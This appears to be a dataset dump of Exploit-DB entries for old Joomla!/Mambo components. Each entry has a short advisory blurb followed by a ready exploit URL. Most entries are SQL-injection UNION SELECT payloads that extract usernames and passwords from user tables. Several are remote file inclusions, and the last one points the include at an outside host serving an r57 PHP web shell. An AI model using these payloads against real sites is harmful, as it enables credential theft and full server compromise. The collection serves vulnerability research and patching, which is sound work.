deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31246
Description: Joomla! / Mambo Component com_genealogy - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27887/info

The Joomla! and Mambo 'com_genealogy' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_genealogy&task=profile&id=-9999999/**/union/**/select/**/0,0x3a,2,0x3a,0x3a,5,0x3a,0x3a,8,concat(username,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #31410
Description: Joomla! / Mambo Component com_guide - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-17
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28271/info

The 'guide' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_guide&category=-999999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*
Exploit-DB #31288
Description: Joomla! / Mambo Component com_hello_world - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27956/info

The Joomla! and Mambo 'com_hello_world' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_hello_world&Itemid=27&task=show&type=intro&id=-9999999/**/union/**/select/**/0x3a,username,password,0x3a/**/from/**/mos_users/*
Exploit-DB #31244
Description: Joomla! / Mambo Component com_iigcatalog - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27883/info

The Joomla! and Mambo 'com_iigcatalog' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_iigcatalog&Itemid=56&act=viewCat&cat=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/mos_users/*
Exploit-DB #31303
Description: Joomla! / Mambo Component com_inter - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/27994/info

The Joomla! and Mambo 'com_inter' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_inter&op=The-0utl4wz&id=[PII_REDACTED]1111/**/union/**/select/**/username,1,2,3,password,5,6,7,8,9/**/from/**/jos_user
Exploit-DB #31155
Description: Joomla! / Mambo Component com_iomezun - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27748/info

The Joomla! and Mambo 'com_iomezun' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_iomezun&task=edit&hidemainmenu=S@BUN&id=-1/**/union/**/select/**/null,null,null,username,password,null,null,null,null,null,null/**/from/**/jos_users/*
Exploit-DB #32010
Description: Joomla! / Mambo Component com_is 1.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-07-02
Author: H-T Team

Exploit:
source: https://www.securityfocus.com/bid/30063/info

The 'com_is' component for Joomla! and Mambo is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect 'com_is' 1.0.1; other versions may also be affected. 

http://www.example.com/index.php?option=com_is&task=model&marka=-1%20union%20select%201,2,concat(CHAR(60,117,115,101,114,62),".$uname.",CHAR(60,117,115,101,114,62)),4,5,6,7,8,9,10,11,12,13 from/**/".$magic."/**
http://www.example.com/index.php?option=com_is&task=motor&motor=-1%20union%20select%201,2,password,4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users--
Exploit-DB #31272
Description: Joomla! / Mambo Component com_Joomlavvz - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-20
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27921/info

The Joomla! and Mambo 'com_joomlavvz' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_joomlavvz&Itemid=34&func=detail&id=-9999999+union/**/select+0x3a,0x3a,password,0,0,0,0,0,0,0,0,0x3a,0x3a,0x3a,0x3a,username/**/from/**/jos_users/*
Exploit-DB #31214
Description: Joomla! / Mambo Component com_lexikon - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27828/info

The Joomla! and Mambo 'com_lexikon' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_lexikon&id=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_u
sers/*
Exploit-DB #31192
Description: Joomla! / Mambo Component com_model - 'objid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-13
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27781/info

The Joomla! and Mambo 'com_model' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_model&Itemid=0&task=pipa&act=2&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*
Exploit-DB #31273
Description: Joomla! / Mambo Component com_most - 'secid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-21
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27922/info

The Joomla! and Mambo 'com_most' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_most&mode=email&secid=-9999999/**/union/**/select/**/0000,concat(username,0x3a,password),2222,3333/**/from/**/jos_users/*
Exploit-DB #31193
Description: Joomla! / Mambo Component com_omnirealestate - 'objid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-13
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27783/info

The 'com_omnirealestate' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_omnirealestate&Itemid=0&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&resu
lts=S@BUN
Exploit-DB #31224
Description: Joomla! / Mambo Component com_profile - 'oid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27851/info

The Joomla! and Mambo 'com_profile' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_profile&Itemid=s@bun&task=&task=viewoffer&oid=9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*
Exploit-DB #31291
Description: Joomla! / Mambo Component com_publication - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/27970/info

The Joomla! and Mambo 'com_publication' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_publication&task=view&pid=-9999999+union/**/select+0,username,password,0,0,0,0/**/from/**/jos_users/*
Exploit-DB #31213
Description: Joomla! / Mambo Component com_salesrep - 'rid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27827/info

The Joomla! and Mambo 'com_salesrep' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_salesrep&action=showrep&Itemid=S@BUN&rid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,
0x3a/**/from/**/jos_users/*
Exploit-DB #31216
Description: Joomla! / Mambo Component com_scheduling - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27830/info

The Joomla! and Mambo 'com_scheduling' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_scheduling&Itemid=28&action=viewAbstract&id=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),concat(username,0x3a,password),4,5,
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/from/**/mos_users/*
Exploit-DB #31121
Description: Joomla! / Mambo Component com_sermon 0.2 - 'gid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-07
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27673/info

The Joomla! and Mambo 'com_sermon' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_sermon&gid=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0,0,username,password%2C0%2C0%2C0/**/from/**/mos_users/*
Exploit-DB #31208
Description: Joomla! / Mambo Component com_sg - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27821/info

The Joomla! and Mambo 'com_sg' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/index.php?option=com_sg&Itemid=16&task=order&range=3&category=3&pid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,10,11,0x3a,0x3a,14,15,16/**/from/**/jos_users/*
Exploit-DB #31206
Description: Joomla! / Mambo Component com_smslist - 'listid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27818/info

The Joomla! and Mambo 'com_smslist' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_smslist&Itemid=99999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*
Exploit-DB #31243
Description: Joomla! / Mambo Component com_team - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27881/info

The 'com_team' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_team&gid=-1/**/union/**/select/**/1,2,3,password,5,6,7,8,9,10,username,12,13/**/from/**/jos_users/*
Exploit-DB #34833
Description: Joomla! / Mambo Component com_trade - 'PID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-11
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/43915/info

The 'com_trade' component for Joomla! and Mambo is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?option=com_trade&task=product_info&Itemid=florix&PID=[XSS]
Exploit-DB #32187
Description: Joomla! / Mambo Component com_utchat 0.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-08-06
Author: by_casper41

Exploit:
source: https://www.securityfocus.com/bid/30571/info

The com_utchat component for Mambo and Joomla! is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

These issues affect com_utchat 0.9.2; other versions may also be affected. 

http://www.example.com/components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php?file=[Sh3LL]
http://www.example.com/components/com_utchat/pfc/lib/pear/PHPUnit/GUI/SetupDecorator.php?aFile=[Sh3LL]
Exploit-DB #31295
Description: Joomla! / Mambo Component com_wines 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27975/info

The 'com_wines' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_wines&Itemid=S@BUN&func=detail&id=-000/**/union+select/**/0,0,password,null,null,null,null,null,0,0,0,0,0,0,1,1,1,0,0,0,0,0,use
rname+from%2F%2A%2A%2Fmos_users/*
Exploit-DB #31448
Description: Joomla! / Mambo Component Datsogallery 1.3.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-20
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/28361/info

The Datsogallery component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_datsogallery&func=detail&id='union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8,9,0,1,2,3,4,5+from+jos_users/*
Exploit-DB #31530
Description: Joomla! / Mambo Component Download3000 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-23
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/28428/info

The Download3000 component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects Download3000 1.0; other versions may also be vulnerable.

http://www.example.com/index.php?option=com_d3000&task=showarticles&id=-99999/**/union/**/select/**/0,username,pass_word/**/from/**/admin/*
Exploit-DB #31382
Description: Joomla! / Mambo Component ensenanzas - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-11
Author: The-0utl4w

Exploit:
source: https://www.securityfocus.com/bid/28196/info

The 'ensenanzas' component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_ensenanzas&Itemid=71&id=99999/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*
Exploit-DB #31209
Description: Joomla! / Mambo Component faq - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27822/info

The Joomla! and Mambo 'faq' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=faq&task=viewallfaq&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password),0x3a,0/**/from/**/mos_users/*
Exploit-DB #31215
Description: Joomla! / Mambo Component Filebase - 'filecatid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27829/info

The Joomla! and Mambo 'com_filebase' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_filebase&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(u
sername,0x3a,password)/**/from/**/mos_users/*
Exploit-DB #32807
Description: Joomla! / Mambo Component gigCalendar 1.0 - 'banddetails.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-23
Author: Salvatore Fresta

Exploit:
source: https://www.securityfocus.com/bid/33859/info

The gigCalendar component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

gigCalendar 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?option=com_gigcal&task=details&gigcal_bands_id=-1'
UNION ALL SELECT 1,2,3,4,5,concat('username: ', username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL from jos_users%23
Exploit-DB #30227
Description: Joomla! / Mambo Component Mod_Forum - 'PHPBB_Root.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-22
Author: spymeta

Exploit:
source: https://www.securityfocus.com/bid/24591/info

The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell]
Exploit-DB #3736
Description: Joomla! / Mambo Component New Article 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-14
Author: Cold Zero

Exploit:
=======================================================
Mambo/Joomla Component New Article Component <= 1.1 (absolute_path) Multiple 
RFI
=======================================================
Found By : Cold z3ro , Cold-z3ro@hotmail.com
=======================================================
Homepage: www.Hack-Teach.com
=======================================================
Script Site : 
http://www.jxdevelopment.com/component/option,com_remository/Itemid,0/func,fileinfo/id,4/
==============================================
File : /components/com_articles.php
include($absolute_path.'/language/'.$lang.'/lang_com_articles.php');     <= 
Line 65
======
http://site/joomla_path/components/com_articles.php?absolute_path=http://nachrichtenmann.de/r57.txt?
========================================================
File : /classes/html/com_articles.php
include($absolute_path.'/language/'.$lang.'/lang_articles.php');     <= Line 
24
======
http://site/joomla_path/classes/html/com_articles.php?absolute_path=http://nachrichtenmann.de/r57.txt?
=========================================================


#Long Life Palestine
#www.Hack-Teach.com

# milw0rm.com [2007-04-14]